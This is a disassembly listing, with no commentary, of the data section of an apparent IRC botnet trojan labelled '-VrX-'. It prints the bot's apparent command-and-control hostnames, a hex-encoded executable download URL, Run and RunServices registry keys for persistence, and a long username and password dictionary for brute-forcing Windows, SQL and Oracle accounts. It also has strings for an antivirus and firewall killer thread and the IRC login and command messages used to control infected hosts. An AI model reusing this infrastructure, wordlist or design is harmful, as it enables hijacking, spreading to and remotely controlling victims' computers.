aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_423DD1+D3o
db 0Ah
db 'Program: ',0
align 10h
a___ db '...',0 ; DATA XREF: sub_423DD1+BFo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_423DD1+7Do
align 10h
dword_427C30 dd 0FFFFFFFFh, 4245EDh, 4245F1h ; DATA XREF: sub_4244F4+5o
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_425029+3Do
align 10h
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_425029+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_425029+24o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_425973:loc_425A68o
align 4
a1Inf db '1#INF',0 ; DATA XREF: sub_425973+D8o
align 4
a1Ind db '1#IND',0 ; DATA XREF: sub_425973+C7o
align 4
a1Snan db '1#SNAN',0 ; DATA XREF: sub_425973+ADo
align 4
dd offset dword_427DAC
off_427C90 dd offset loc_4260E2 ; DATA XREF: sub_4260BA+8o
; sub_4260FE+2Co ...
dd offset sub_4260D5
dd offset sub_4262F6
dd offset dword_427DF8
off_427CA0 dd offset sub_42614C ; DATA XREF: sub_4260FE+3Ao
; sub_426168o ...
dd offset sub_4260D5
dd offset loc_426332
dword_427CAC dd 0 ; DATA XREF: sub_4260FE+16o
; sub_4261D0+16o
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426173+11o
dd offset dword_427E44
off_427CCC dd offset sub_42625B ; DATA XREF: sub_426277o
; sub_42629A+37o ...
dd offset sub_4260D5
dd offset loc_426314
aStringTooLong db 'string too long',0 ; DATA XREF: sub_42629A+11o
dd offset dword_427E88
off_427CEC dd offset loc_4264A5 ; DATA XREF: sub_426490o
; ___:off_43DAE4o ...
dd offset dword_427EB8
off_427CF4 dd offset loc_4264C1 ; DATA XREF: sub_4264DD+8o
; sub_42651A+8o ...
dd offset sub_42657A
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_42657A+7o
align 10h
dword_427D10 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_426587+Eo
dd 3, 19930520h, 2 dup(0)
dword_427D30 dd 0FFFFFFFFh, 426738h, 42673Ch, 0FFFFFFFFh, 4267B5h, 4267B9h
; DATA XREF: sub_426636+5o
dword_427D48 dd 0FFFFFFFFh, 4269ADh, 4269B1h, 0FFFFFFFFh, 426A0Ah, 426A0Eh
; DATA XREF: sub_4268C1+5o
dd 43DAE4h, 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_427D78 dd offset off_43DAFC ; DATA XREF: ___:00427D90o
; ___:00427DDCo ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427D78
dd offset dword_427D48+18h
dword_427D98 dd 3 dup(0) ; DATA XREF: ___:00427DBCo
dd 2, 427D90h
dword_427DAC dd 3 dup(0) ; DATA XREF: ___:00427C8Co
dd offset off_43DAFC
dd offset dword_427D98+4
off_427DC0 dd offset off_43DB1C ; DATA XREF: ___:00427DD8o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427DC0
dd offset off_427D78
dd offset dword_427D48+18h
dd 0
db 0 ; DATA XREF: ___:00427E08o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 427DD8h
dword_427DF8 dd 3 dup(0) ; DATA XREF: ___:00427C9Co
dd offset off_43DB1C
dd offset unk_427DE8
off_427E0C dd offset off_43DB3C ; DATA XREF: ___:00427E24o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E0C
dd offset off_427D78
dd offset dword_427D48+18h
dword_427E30 dd 3 dup(0) ; DATA XREF: ___:00427E54o
dd 3, 427E24h
dword_427E44 dd 3 dup(0) ; DATA XREF: ___:00427CC8o
dd offset off_43DB3C
dd offset dword_427E30+4
off_427E58 dd offset off_43DB60 ; DATA XREF: ___:00427E70o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E58
dd 0
db 0 ; DATA XREF: ___:00427E98o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 427E70h
dword_427E88 dd 3 dup(0) ; DATA XREF: ___:00427CE8o
dd offset off_43DB60
dd offset unk_427E78
dd offset dword_427D48+18h
dword_427EA0 dd 4 dup(0) ; DATA XREF: ___:00427EC8o
dd 1, 427E9Ch
dword_427EB8 dd 3 dup(0) ; DATA XREF: ___:00427CF0o
dd offset off_43DAE4
dd offset dword_427EA0+8
align 10h
dword_427ED0 dd 19930520h, 2, 427EF0h, 5 dup(0) ; DATA XREF: ___:loc_426AA7o
dd 0FFFFFFFFh, 426A90h, 0
dd offset sub_426A88
dword_427F00 dd 19930520h, 2, 427F20h, 5 dup(0) ; DATA XREF: ___:loc_426AC4o
dd 0FFFFFFFFh, 426AB4h, 0
dd offset loc_426ABC
dword_427F30 dd 19930520h, 2, 427F50h, 1, 427F60h, 3 dup(0) ; DATA XREF: ___:loc_426AD0o
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 427F78h, 4 dup(0)
dd offset loc_40DA8E
dd 0FFFFFFFFh, 426ADAh
dword_427F90 dd 19930520h, 1, 427F88h, 5 dup(0) ; DATA XREF: ___:loc_426AE2o
dd offset off_43DAE4
align 8
dd 0FFFFFFFFh, 0
dd 0Ch, 42651Ah, 0
dd offset off_43DAFC
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 426218h, 0
dd offset off_43DB1C
align 10h
dd 0FFFFFFFFh, 0
dword_427FF8 dd 1Ch, 426282h, 3, 427FE4h, 427FC8h, 427FACh ; DATA XREF: ___:0042801Co
dword_428010 dd 0 ; DATA XREF: sub_426173+2Eo
; sub_4262F6+4Bo
dd offset sub_426168
dd 0
dd offset dword_427FF8+8
dd 0FFFFFFFFh, 426AECh
dword_428028 dd 19930520h, 1, 428020h, 4 dup(0) ; DATA XREF: ___:loc_426AF4o
dd 0FFFFFFFFh, 426AFEh
dword_42804C dd 19930520h, 1, 428044h, 4 dup(0) ; DATA XREF: ___:loc_426B06o
dd 0FFFFFFFFh, 426B10h
dword_428070 dd 19930520h, 1, 428068h, 5 dup(0) ; DATA XREF: ___:loc_426B18o
dd offset off_43DB3C
align 8
dd 0FFFFFFFFh, 0
dword_4280A0 dd 1Ch, 4262DEh, 3, 42808Ch, 427FC8h, 427FACh ; DATA XREF: ___:004280C4o
dword_4280B8 dd 0 ; DATA XREF: sub_42629A+2Eo
; sub_4262F6+2Do
dd offset sub_426277
dd 0
dd offset dword_4280A0+8
dd 0FFFFFFFFh, 426B22h
dword_4280D0 dd 19930520h, 1, 4280C8h, 4 dup(0) ; DATA XREF: ___:loc_426B2Ao
dword_4280EC dd 2, 427FC8h, 427FACh ; DATA XREF: ___:00428104o
dword_4280F8 dd 0 ; DATA XREF: sub_4262F6+Fo
dd offset sub_4260BA
dd 0
dd offset dword_4280EC
; ---------------------------------------------------------------------------
lds esp, [ebp-5A3AF03Dh]
retn
; ---------------------------------------------------------------------------
db 0Fh
; ---------------------------------------------------------------------------
lds esp, [ebp-5A3AF03Dh]
retn
; ---------------------------------------------------------------------------
db 0Fh
dd 0FC3A5C5h, 5 dup(70895139h), 75h dup(0)
dd 70895139h, 15h dup(0)
dd 0FC3A5C5h, 6 dup(0)
dd 45560000h, 4F495352h, 6C642E4Eh, 6Ch, 31Eh dup(0)
dword_429000 dd 0 ; DATA XREF: ___:0041C183o
dd offset loc_401205
dd offset sub_40DB3C
dd offset dword_40EF1C+1D0h
dword_429010 dd 0 ; DATA XREF: ___:0041C17Eo
dword_429014 dd 0 ; DATA XREF: ___:0041C174o
dd offset sub_41DA32
dd offset sub_420B0D
dd offset sub_42413E
dd offset word_424F62
dword_429028 dd 0 ; DATA XREF: ___:loc_41C16Fo
dword_42902C dd 0 ; DATA XREF: sub_41C1B3+65o
dd offset sub_4241E3
dword_429034 dd 0 ; DATA XREF: sub_41C1B3:loc_41C213o
dword_429038 dd 0 ; DATA XREF: sub_41C1B3+76o
dd offset byte_424F73
dword_429040 dd 4 dup(0) ; DATA XREF: sub_41C1B3:loc_41C224o
dword_429050 dd 80000002h, 429170h, 80000002h, 4291A0h, 80000001h, 429170h
; DATA XREF: sub_401000+7o
dword_429068 dd 6272h ; DATA XREF: sub_401000+63o
; sub_4010AB+Bo ...
dword_42906C dd 1B58h ; DATA XREF: ___:004016C5r
; ___:0040175Ar
dword_429070 dd 0C8Bh ; DATA XREF: ___:004017A6r
dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_4045D8r
dword_429078 dd 45h ; DATA XREF: sub_401ACD+202Er
; sub_40BD91+3Br
dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403BE9r
; sub_40BD91:loc_40C182r
dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403D75r
word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_4046FBr
align 4
dword_429088 dd 1 ; DATA XREF: sub_401ACD+643r
dword_42908C dd 1 ; DATA XREF: ___:0040135Er
dword_429090 dd 1 ; DATA XREF: ___:loc_401562r
; sub_4188A6+Cr
byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A76r
; sub_401ACD+B30r ...
align 4
dword_429098 dd 0Ah ; DATA XREF: sub_40AAAC+3Ar
; sub_40AAAC+60r ...
dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r
; sub_401ACD+279r ...
dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r
; sub_401ACD+273r
aDarksf db 'Darksf',0 ; DATA XREF: ___:0040127Eo
; sub_401ACD:loc_40445Do ...
align 4
aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404902o
align 4
aCool db 'cool',0 ; DATA XREF: sub_401ACD+7BCBo
; sub_401ACD+7C9Ao
align 10h
aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o
; ___:0040174Bo
align 4
aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o
; ___:00401761o ...
align 4
aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o
; ___:00401773o
align 4
byte_4290E4 db 73h ; DATA XREF: ___:loc_401789r
; ___:00401797o
aCorti1_dns2go_ db 'corti1.dns2go.com',0
align 4
aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo
align 10h
aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo
align 4
byte_429108 db 77h ; DATA XREF: ___:00401364o
; ___:00401388w ...
db 69h, 6Eh, 64h
dd 76726573h, 78652E63h, 65h, 6E6E6977h, 61622E74h, 74h
aWindowsSercesA db 'Windows Serces Agnt',0 ; DATA XREF: sub_401000+Eo
unicode 0, <->,0
aWinsys_dat db 'winsys.dat',0
align 4
aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7D1Do
align 10h
aF db '#f',0 ; DATA XREF: sub_401ACD+1E91o
; sub_401ACD+1EA2o ...
align 4
aF_0 db '#f',0 ; DATA XREF: sub_401ACD+72B4o
; sub_401ACD+730Co
align 4
aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40EAo
; sub_401ACD+423Ao
align 4
off_42915C dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4096EBo
; "*@admin.com"
off_429160 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8A7r
; sub_401ACD+7C3Ao
; "mIRC v6.16 Khaled Mardam-Bey"
dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey"
dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey"
dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey"
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
align 10h
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A3C6+28o
; sub_41A6EA+28o
align 10h
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A3C6+D4o
; sub_41A6EA+D4o
align 4
dd 2 dup(1), 70747468h, 772F2F3Ah, 662E7777h, 77656572h
dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
dd 652E6D79h, 6578h, 429938h, 429928h, 429918h, 42990Ch
dd 429904h, 4298FCh, 4298F4h, 4298ECh, 4298E0h, 4298D8h
dd 4298D0h, 4298C8h, 4298BCh, 4298B4h, 4298ACh, 4298A0h
dd 42989Ch, 429894h, 429890h, 0
dd offset byte_43DB88
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aAdm ; "adm"
dd offset aPassword1 ; "password1"
dd offset aPassword ; "password"
dd offset aPasswd ; "passwd"
dd offset aPass1234 ; "pass1234"
dd offset aPass ; "pass"
dd offset aPwd ; "pwd"
dd offset a007 ; "007"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a1234567890 ; "1234567890"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2004 ; "2004"
dd offset aTest ; "test"
dd offset aGuest_0 ; "guest"
dd offset aNone ; "none"
dd offset aDemo ; "demo"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aDefault ; "default"
dd offset aSystem ; "system"
dd offset aServer ; "server"
dd offset aRoot ; "root"
dd offset aNull_1 ; "null"
dd offset aQwerty ; "qwerty"
dd offset aMail ; "mail"
dd offset aOutlook ; "outlook"
dd offset aWeb ; "web"
dd offset aWww ; "www"
dd offset aInternet ; "internet"
dd offset aAccounts ; "accounts"
dd offset aAccounting ; "accounting"
dd offset aHome ; "home"
dd offset aHomeuser ; "homeuser"
dd offset aUser ; "user"
dd offset aOem ; "oem"
dd offset aOemuser ; "oemuser"
dd offset aOeminstall ; "oeminstall"
dd offset aWindows ; "windows"
dd offset aWin98 ; "win98"
dd offset aWin2k ; "win2k"
dd offset aWinxp ; "winxp"
dd offset aWinnt ; "winnt"
dd offset aWin2000 ; "win2000"
dd offset aQaz ; "qaz"
dd offset aAsd ; "asd"
dd offset aZxc ; "zxc"
dd offset aQwe ; "qwe"
dd offset aBob ; "bob"
dd offset aJen ; "jen"
dd offset aJoe ; "joe"
dd offset aFred ; "fred"
dd offset aBill ; "bill"
dd offset aMike ; "mike"
dd offset aJohn ; "john"
dd offset aPeter ; "peter"
dd offset aLuke ; "luke"
dd offset aSam ; "sam"
dd offset aSue ; "sue"
dd offset aSusan ; "susan"
dd offset aPeter ; "peter"
dd offset aBrian ; "brian"
dd offset aLee ; "lee"
dd offset aNeil ; "neil"
dd offset aIan ; "ian"
dd offset aChris ; "chris"
dd offset aEric ; "eric"
dd offset aGeorge ; "george"
dd offset aKate ; "kate"
dd offset aBob ; "bob"
dd offset aKatie ; "katie"
dd offset aMary ; "mary"
dd offset aLogin ; "login"
dd offset aLoginpass ; "loginpass"
dd offset aTechnical ; "technical"
dd offset aBackup ; "backup"
dd offset aExchange ; "exchange"
dd offset aFuck ; "fuck"
dd offset aBitch ; "bitch"
dd offset aSlut ; "slut"
dd offset aSex ; "sex"
dd offset aGod ; "god"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aDomain ; "domain"
dd offset aDomainpass ; "domainpass"
dd offset aDomainpassword ; "domainpassword"
dd offset aDatabase ; "database"
dd offset aAccess ; "access"
dd offset aDbpass ; "dbpass"
dd offset aDbpassword ; "dbpassword"
dd offset aDatabasepass ; "databasepass"
dd offset aData ; "data"
dd offset aDatabasepasswo ; "databasepassword"
dd offset aDb1 ; "db1"
dd offset aDb2 ; "db2"
dd offset aDb1234 ; "db1234"
dd offset aSa ; "sa"
dd offset aSql ; "sql"
dd offset aSqlpassoainsta ; "sqlpassoainstall"
dd offset aOrainstall ; "orainstall"
dd offset aOracle ; "oracle"
dd offset aIbm ; "ibm"
dd offset aCisco ; "cisco"
dd offset aDell ; "dell"
dd offset aCompaq ; "compaq"
dd offset aSiemens ; "siemens"
dd offset aHp ; "hp"
dd offset aNokia ; "nokia"
dd offset aXp ; "xp"
dd offset aControl ; "control"
dd offset aOffice ; "office"
dd offset aBlank ; "blank"
dd offset aWinpass ; "winpass"
dd offset aMain ; "main"
dd offset aLan ; "lan"
dd offset aInternet ; "internet"
dd offset aIntranet ; "intranet"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aStaff ; "staff"
dd 0
dword_4294CC dd 10h ; DATA XREF: sub_401ACD+AE0r
; sub_401ACD+B0Cr ...
aIntranet db 'intranet',0 ; DATA XREF: ___:004294B8o
align 4
aLan db 'lan',0 ; DATA XREF: ___:004294B0o
aMain db 'main',0 ; DATA XREF: ___:004294ACo
align 4
aWinpass db 'winpass',0 ; DATA XREF: ___:004294A8o
aBlank db 'blank',0 ; DATA XREF: ___:004294A4o
align 4
aOffice db 'office',0 ; DATA XREF: ___:004294A0o
align 10h
aControl db 'control',0 ; DATA XREF: ___:0042949Co
aXp db 'xp',0 ; DATA XREF: ___:00429498o
align 4
aNokia db 'nokia',0 ; DATA XREF: ___:00429494o
align 4
aHp db 'hp',0 ; DATA XREF: ___:00429490o
align 4
aSiemens db 'siemens',0 ; DATA XREF: ___:0042948Co
aCompaq db 'compaq',0 ; DATA XREF: ___:00429488o
align 4
aDell db 'dell',0 ; DATA XREF: ___:00429484o
align 10h
aCisco db 'cisco',0 ; DATA XREF: ___:00429480o
align 4
aIbm db 'ibm',0 ; DATA XREF: ___:0042947Co
aOrainstall db 'orainstall',0 ; DATA XREF: ___:00429474o
align 4
aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: ___:00429470o
align 4
aSql db 'sql',0 ; DATA XREF: ___:0042946Co
aSa db 'sa',0 ; DATA XREF: ___:00429468o
align 4
aDb1234 db 'db1234',0 ; DATA XREF: ___:00429464o
align 4
aDb1 db 'db1',0 ; DATA XREF: ___:0042945Co
aDatabasepasswo db 'databasepassword',0 ; DATA XREF: ___:00429458o
align 4
aData db 'data',0 ; DATA XREF: ___:00429454o
align 4
aDatabasepass db 'databasepass',0 ; DATA XREF: ___:00429450o
align 4
aDbpassword db 'dbpassword',0 ; DATA XREF: ___:0042944Co
align 4
aDbpass db 'dbpass',0 ; DATA XREF: ___:00429448o
align 10h
aAccess db 'access',0 ; DATA XREF: ___:00429444o
align 4
aDomainpassword db 'domainpassword',0 ; DATA XREF: ___:0042943Co
align 4
aDomainpass db 'domainpass',0 ; DATA XREF: ___:00429438o
align 4
aDomain db 'domain',0 ; DATA XREF: ___:00429434o
align 4
aHello db 'hello',0 ; DATA XREF: ___:00429430o
align 4
aHell db 'hell',0 ; DATA XREF: ___:0042942Co
align 4
aGod db 'god',0 ; DATA XREF: ___:00429428o
aSex db 'sex',0 ; DATA XREF: ___:00429424o
; ___:off_438A68o
aSlut db 'slut',0 ; DATA XREF: ___:00429420o
align 4
aBitch db 'bitch',0 ; DATA XREF: ___:0042941Co
align 4
aFuck db 'fuck',0 ; DATA XREF: ___:00429418o
align 4
aExchange db 'exchange',0 ; DATA XREF: ___:00429414o
align 4
aBackup db 'backup',0 ; DATA XREF: ___:00429410o
align 10h
aTechnical db 'technical',0 ; DATA XREF: ___:0042940Co
align 4
aLoginpass db 'loginpass',0 ; DATA XREF: ___:00429408o
align 4
aLogin db 'login',0 ; DATA XREF: ___:00429404o
align 10h
aMary db 'mary',0 ; DATA XREF: ___:00429400o
align 4
aKatie db 'katie',0 ; DATA XREF: ___:004293FCo
align 10h
aKate db 'kate',0 ; DATA XREF: ___:004293F4o
align 4
aGeorge db 'george',0 ; DATA XREF: ___:004293F0o
align 10h
aEric db 'eric',0 ; DATA XREF: ___:004293ECo
align 4
aChris db 'chris',0 ; DATA XREF: ___:004293E8o
align 10h
aIan db 'ian',0 ; DATA XREF: ___:004293E4o
aNeil db 'neil',0 ; DATA XREF: ___:004293E0o
align 4
aLee db 'lee',0 ; DATA XREF: ___:004293DCo
aBrian db 'brian',0 ; DATA XREF: ___:004293D8o
align 4
aSusan db 'susan',0 ; DATA XREF: ___:004293D0o
align 10h
aSue db 'sue',0 ; DATA XREF: ___:004293CCo
aSam db 'sam',0 ; DATA XREF: ___:004293C8o
aLuke db 'luke',0 ; DATA XREF: ___:004293C4o
align 10h
aPeter db 'peter',0 ; DATA XREF: ___:004293C0o
; ___:004293D4o
align 4
aJohn db 'john',0 ; DATA XREF: ___:004293BCo
align 10h
aMike db 'mike',0 ; DATA XREF: ___:004293B8o
align 4
aBill db 'bill',0 ; DATA XREF: ___:004293B4o
align 10h
aFred db 'fred',0 ; DATA XREF: ___:004293B0o
align 4
aJoe db 'joe',0 ; DATA XREF: ___:004293ACo
aJen db 'jen',0 ; DATA XREF: ___:004293A8o
aBob db 'bob',0 ; DATA XREF: ___:004293A4o
; ___:004293F8o
aQwe db 'qwe',0 ; DATA XREF: ___:004293A0o
aZxc db 'zxc',0 ; DATA XREF: ___:0042939Co
aAsd db 'asd',0 ; DATA XREF: ___:00429398o
aQaz db 'qaz',0 ; DATA XREF: ___:00429394o
aWin2000 db 'win2000',0 ; DATA XREF: ___:00429390o
aWinnt db 'winnt',0 ; DATA XREF: ___:0042938Co
align 4
aWinxp db 'winxp',0 ; DATA XREF: ___:00429388o
align 4
aWin2k db 'win2k',0 ; DATA XREF: ___:00429384o
align 4
aWin98 db 'win98',0 ; DATA XREF: ___:00429380o
align 4
aWindows db 'windows',0 ; DATA XREF: ___:0042937Co
aOeminstall db 'oeminstall',0 ; DATA XREF: ___:00429378o
align 10h
aOemuser db 'oemuser',0 ; DATA XREF: ___:00429374o
aOem db 'oem',0 ; DATA XREF: ___:00429370o
aUser db 'user',0 ; DATA XREF: sub_401ACD+45CFo
; ___:0042936Co
align 4
aHomeuser db 'homeuser',0 ; DATA XREF: ___:00429368o
align 10h
aHome db 'home',0 ; DATA XREF: ___:00429364o
align 4
aAccounting db 'accounting',0 ; DATA XREF: ___:00429360o
align 4
aAccounts db 'accounts',0 ; DATA XREF: ___:0042935Co
align 10h
aInternet db 'internet',0 ; DATA XREF: ___:00429358o
; ___:004294B4o
align 4
aWww db 'www',0 ; DATA XREF: ___:00429354o
aWeb db 'web',0 ; DATA XREF: sub_401ACD+7283o
; ___:00429350o
aOutlook db 'outlook',0 ; DATA XREF: ___:0042934Co
aMail db 'mail',0 ; DATA XREF: ___:00429348o
align 4
aQwerty db 'qwerty',0 ; DATA XREF: ___:00429344o
align 4
aNull_1 db 'null',0 ; DATA XREF: ___:00429340o
align 4
aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Bo
; ___:00429338o
align 4
aSystem db 'system',0 ; DATA XREF: ___:00429334o
align 4
aChangeme db 'changeme',0 ; DATA XREF: ___:0042932Co
align 10h
aLinux db 'linux',0 ; DATA XREF: ___:00429328o
align 4
aUnix db 'unix',0 ; DATA XREF: ___:00429324o
align 10h
aDemo db 'demo',0 ; DATA XREF: ___:00429320o
align 4
aNone db 'none',0 ; DATA XREF: ___:0042931Co
align 10h
aTest db 'test',0 ; DATA XREF: ___:00429314o
align 4
a2004 db '2004',0 ; DATA XREF: ___:00429310o
align 10h
a2003 db '2003',0 ; DATA XREF: sub_41AF8F+BAo
; ___:0042930Co
align 4
a2002 db '2002',0 ; DATA XREF: ___:00429308o
align 10h
a2001 db '2001',0 ; DATA XREF: ___:00429304o
align 4
a2000 db '2000',0 ; DATA XREF: ___:00429300o
align 10h
a1234567890 db '1234567890',0 ; DATA XREF: ___:004292FCo
align 4
a123456789 db '123456789',0 ; DATA XREF: ___:004292F8o
align 4
a12345678 db '12345678',0 ; DATA XREF: ___:004292F4o
align 4
a1234567 db '1234567',0 ; DATA XREF: ___:004292F0o
a123456 db '123456',0 ; DATA XREF: ___:004292ECo
align 4
a12345 db '12345',0 ; DATA XREF: ___:004292E8o
align 4
a1234 db '1234',0 ; DATA XREF: ___:004292E4o
align 4
a123 db '123',0 ; DATA XREF: ___:004292E0o
a12 db '12',0 ; DATA XREF: ___:004292DCo
align 4
a1: ; DATA XREF: ___:0040AFC7o
; ___:004292D8o
unicode 0, <1>,0
a007 db '007',0 ; DATA XREF: ___:004292D4o
aPwd db 'pwd',0 ; DATA XREF: ___:004292D0o
aPass db 'pass',0 ; DATA XREF: ___:004292CCo
align 10h
aPass1234 db 'pass1234',0 ; DATA XREF: ___:004292C8o
align 4
aPasswd db 'passwd',0 ; DATA XREF: ___:004292C4o
align 4
aPassword db 'password',0 ; DATA XREF: ___:004292C0o
align 10h
aPassword1 db 'password1',0 ; DATA XREF: ___:004292BCo
align 4
aAdm db 'adm',0 ; DATA XREF: ___:004292B8o
aDb2 db 'db2',0 ; DATA XREF: ___:00429460o
aOracle db 'oracle',0 ; DATA XREF: ___:00429478o
align 4
aDba db 'dba',0
aDatabase db 'database',0 ; DATA XREF: ___:00429440o
align 4
aDefault db 'default',0 ; DATA XREF: ___:00429330o
aGuest_0 db 'guest',0 ; DATA XREF: ___:00429318o
align 4
aWwwadmin db 'wwwadmin',0
align 4
aTeacher db 'teacher',0 ; DATA XREF: ___:004294C0o
aStudent db 'student',0 ; DATA XREF: ___:004294BCo
aOwner db 'owner',0
align 10h
aComputer db 'computer',0
align 4
aRoot db 'root',0 ; DATA XREF: ___:0042933Co
align 4
aStaff db 'staff',0 ; DATA XREF: ___:004294C4o
align 4
aAdmin db 'admin',0 ; DATA XREF: ___:004292B4o
align 4
aAdmins db 'admins',0 ; DATA XREF: ___:004292B0o
align 4
aAdministrat db 'administrat',0 ; DATA XREF: ___:004292ACo
aAdministrateur db 'administrateur',0 ; DATA XREF: ___:004292A8o
align 4
aAdministrador db 'administrador',0 ; DATA XREF: ___:004292A4o
align 4
aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:004292A0o
align 4
aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
align 4
aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
align 4
aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429164o
align 4
aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429160o
align 4
a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_42915Co
dword_4299D4 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co
aFailedToStartS db '- Failed to start server, error: <%d>.',0
align 4
dword_429A08 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o
aServerRunningO db '- Server running on Port: 113.',0
align 4
unk_429A34 db 2Dh ; - ; DATA XREF: ___:00401614o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0
align 4
unk_429A74 db 2Dh ; - ; DATA XREF: ___:004015C3o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aAvFwKillerActi db ' AV/FW Killer active.',0
align 4
dword_429A98 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h
; DATA XREF: ___:00401585o
dd 2E646574h, 0
dword_429AB4 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_429AC0 dd 255C7325h, 73h ; DATA XREF: ___:004013AAo
dword_429AC8 dd 73257325h, 0 ; DATA XREF: ___:0040132Eo
; sub_4100B4+EAo ...
unk_429AD0 db 3 ; DATA XREF: sub_4017ED+F2o
a81VrxConnected db '8,1-VrX- Connected to %s.',0
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o
align 4
aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D25o
align 4
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D0Do
align 4
unk_429B34 db 3 ; DATA XREF: sub_401ACD+7CF9o
a81VrxUserSLogg db '8,1-VrX- User: %s logged in.',0
align 4
unk_429B54 db 3 ; DATA XREF: sub_401ACD+7CDCo
a81VrxPasswordA db '8,1-VrX- Password accepted.',0
align 4
unk_429B74 db 3 ; DATA XREF: sub_401ACD+7C7Bo
a81VrxFailedHos db '8,1-VrX- *Failed host auth by: (%s!%s).',0
align 10h
aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7C52o
align 4
unk_429BC8 db 3 ; DATA XREF: sub_401ACD+7C14o
a81VrxFailedPas db '8,1-VrX- *Failed pass auth by: (%s!%s).',0
align 4
aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7C02o
; sub_401ACD+7C69o
align 10h
aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7BEBo
align 4
asc_429C48: ; DATA XREF: sub_401ACD+7BBBo
unicode 0, <~>,0
